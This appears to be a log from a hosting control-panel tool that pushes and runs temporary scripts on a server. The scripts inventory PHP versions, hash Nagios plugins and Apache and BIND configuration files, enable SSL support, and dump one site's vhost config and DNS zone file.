php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-31 12:35:59:
PUT: /tmp/pkp386058
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-31 12:35:59:
chmod 755 /tmp/pkp386058; /tmp/pkp386058; rm /tmp/pkp386058
2025-12-31 12:36:00:
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
2025-12-31 12:36:00:
PUT: /tmp/pkp714297
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 12:36:00:
chmod 755 /tmp/pkp714297; /tmp/pkp714297; rm /tmp/pkp714297
2025-12-31 12:36:01:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-12-31 12:36:01:
PUT: /tmp/pkp887740
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-31 12:36:01:
chmod 755 /tmp/pkp887740; /tmp/pkp887740; rm /tmp/pkp887740
2025-12-31 12:36:01:
status=ok
2025-12-31 12:36:01:
PUT: /tmp/pkp582991
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 12:36:02:
chmod 755 /tmp/pkp582991; /tmp/pkp582991; rm /tmp/pkp582991
2025-12-31 12:36:02:
2025-12-31 12:36:02:
PUT: /tmp/pkp111368
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/pjy_alive_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 12:36:02:
chmod 755 /tmp/pkp111368; /tmp/pkp111368; rm /tmp/pkp111368
2025-12-31 12:36:03:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf 1144
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp582991:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-31 12:36:18: Establishing a connection
2025-12-31 12:36:18:
PUT: /tmp/pkp768398
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 12:36:19:
runuser -l bind -s /bin/bash -c '/tmp/pkp768398; rm /tmp/pkp768398'
2025-12-31 12:36:19:
2025-12-31 12:36:19:
PUT: /tmp/pkp296012
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 12:36:19:
chmod 755 /tmp/pkp296012; /tmp/pkp296012; rm /tmp/pkp296012
2025-12-31 12:36:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt 2154
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
pjy.us. IN SOA pjy.us. hostmaster.pjy.us. ( 133432170 14400 3600 14400 3600 )
pjy.us. IN NS ns1.hostz.org.
pjy.us. IN NS ns2.hostz.org.
pjy.us. 60 IN A 94.177.8.99
@ IN MX 10 mail.emessage.email.
@ IN TXT "google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge 60 IN TXT "t0GD64TbIMvmlrqrPEvFBesTOk314YIjmyLbgEAEnQQ"
_acme-challenge 60 IN TXT "Dl5rCYrykMwRx_7Hed_5gHvjZZser_qcTBZcpwCY6ro"
mail._domainkey 300 IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive IN CNAME home.stoughton.link.
city 300 IN A 10.140.12.86
_acme-challenge.city 60 IN TXT "UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop IN A 192.168.1.174
_acme-challenge.desktop 60 IN TXT "l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm IN A 46.102.156.201
eggshell IN A 94.177.8.99
y4it37yvzcuq.eggshell 60 IN CNAME gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files IN A 74.208.130.81
home IN CNAME home.stoughton.link.
_acme-challenge.home 60 IN TXT "bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
mysql IN CNAME home.stoughton.link.
pkp IN A 94.177.8.99
www.pjy.us. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
